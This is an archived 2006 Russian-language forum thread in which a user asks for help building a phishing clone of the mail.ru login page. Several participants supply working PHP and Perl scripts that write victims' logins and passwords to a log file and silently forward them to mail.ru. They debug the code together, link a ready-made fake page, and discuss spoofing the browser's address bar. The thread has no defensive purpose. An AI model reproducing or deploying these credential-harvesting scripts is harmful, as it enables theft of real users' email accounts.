PDA

Просмотр полной версии : Скрипт, запоминающий данные введенные в форму


CheAter
02.05.2006, 14:53
Народ мот кто поможет. Нужен скрипт или что-то другое , запоминающие данные введенные в форму. Полнета облазил, нашел только корявые какие-то. Чтобы было ясней, есть у меня к примеру копия главной страницы mail.ru, я заливаю на свой хост этот дубль и мне надо чтобы информация, которую человек заполняет в форму (на будликате mail.ru) оставалась в каком-нибудь лог-файле, чтобы я потом успешно мог ее просмотреть... :rolleyes: Буду очень благодарен если Вы мне с этим поможете!

Trinux
02.05.2006, 15:01
<?
if(isset($login) && isset($passwd) && strlen($login.$passwd)>=2){
$f=fopen('log.txt', 'a');
fwrite($f, "\n".$login.':'.$passwd);
fclose($f);
}
?>
<form method='post'>
<input type='text' name='login' /><br />
<input type='text' name='passwd' /><br />
<input type='submit' value='авторизоваться' />
</form>
примерно так. Только это палево. Красивее было бы сделать дубль, который действтиельно отправляет данные на mail.ru, но тем не менее ajax`ом сохроняет тебе все в лог.

P.S. log.txt должен существовать с правами 0666

CheAter
02.05.2006, 15:51
Т.е, я из формы mail.ru указываю путь <form name=Auth method=post action="http://_адрес_//к_ рпимеру_login.php"> ? только вот еще одно на mail.ru там еще есть в форме выбор домена (list.ru mail.ru...) у тя в скрипте этого нет, как с этим быть?
И насчет палева: есть cgi-скрипт, но он вроде не рабочий.Если тебе не трудно можешь подсказать где ошибка ?

#!/usr/bin/perl

&parse_form;

open LOG "Archive.txt";

print LOG "$FORM{'Login'} @ $FORM{'Domain'}, pass:$FORM{'Password'}n";

close LOG;

print "Content-Type: text/htmlnn";

print "<HTML><BODY>n";

print "<form name="Auth" method=post action=http://win.mail.ru/cgi-bin/auth>n";

print "<input type=hidden name=Mpopl value=1892134183>n";

print "<input type=hidden name=login_from value=titul>n";

print "<input type=hidden name="level" value=1>n";

print "<input type=hidden name="Login" value="$FORM{'Login'}">n";

print "<input type=hidden name="Password" value="$FORM{'Password'}">n";

print "<input type=hidden name="Domain" value="$FORM{'Domain'}">n";

print "<input TYPE=hidden name="" value="Войти">n";

print "<script language=javascript>Auth.submit()</script>n";

print "</form>n";

print "</BODY></HTML>n";

CheAter
02.05.2006, 16:50
Большое тебе спасибо человеК, сам пару фичей доработал - вроде нормально, но есть одно очень большое НО!. В лог файле домен сохраняется превосходно а вот ЛОГИН и ПАРОЛЬ какими-то буквами Б ! Как это исправить, в чем дело, почему так сохраняет?

Дикс
02.05.2006, 16:56
&& strlen($login.$passwd)>=2
а не лучше было бы так:
$login != ''

CheAter
02.05.2006, 17:07
Не ну тут можно по разному ты мне обьясни как иероглифы убрать из лога ?

Trinux
02.05.2006, 18:43
а не лучше было бы так:
$login != ''
писанины меньше. Хотя проверка типа $login != '' должна по идее быстрее работать.

а не
$f=fopen('log.txt', 'W');
зачем, если нам надо не записать в фал, а дописать в файл?

2 CheAter
приведи пример. И на будущее - всегла как моно подробнее описывай проблему с примерами, а так только флуд разводим. Что пишется в конфиг, дай посмотреть

Дикс
02.05.2006, 18:50
зачем, если нам надо не записать в фал, а дописать в файл?
дадада, уже сам догадалсо :)

CheAter
02.05.2006, 21:26
Вот лог http://mailru.6te.net/log.txt(Можешь сам заполнить http://mailru.6te.net/index.html, а потом посмотреть ЛОГ). Если смотреть из блокнота , то вместо введенного паса и пароля сохраняется что-то вроде букв "Б". А если посмотреть напрямую через эту ссылку в браусере выводятся пустые места, хотя домен определяется правильно...

ZINGER
02.05.2006, 21:39
вот тебе моя фейковая страница с логом >> сылка (http://fa-team.net.ru/mailfeik.rar)

Trinux
02.05.2006, 22:04
2 CheAter
Все просто. В <input у тебя стоит name='Login', а в файл пишется переменная $login. А пересенные в php чувствительны к регистру. Отсюда следует что либо переменные исправляешь на $Login, либо в форме правишь на name='login'.
Соответственные изменния и с полем пароля

CheAter
03.05.2006, 00:52
Спасибо, все работает. Мот знаешь как можно сделать эмуляцию строки веб браусера?

Trinux
03.05.2006, 01:30
не понял вопроса

CheAter
03.05.2006, 09:10
не понял вопроса
Ну, вместо mailru.6te.net сделать mail.ru, т.е когда заходишь по ссылке на этот дубль в браузере показывало mail.ru или хотябы вообще было пустое место.... :confused:

Trinux
03.05.2006, 19:55
помойму был такой баг в FF, когда можно было закачивать fav.ico любых размеров, тем самым как бы "подделывать" реальный адрес. Но его, помойму, уже закрыли. Других способов я не знаю...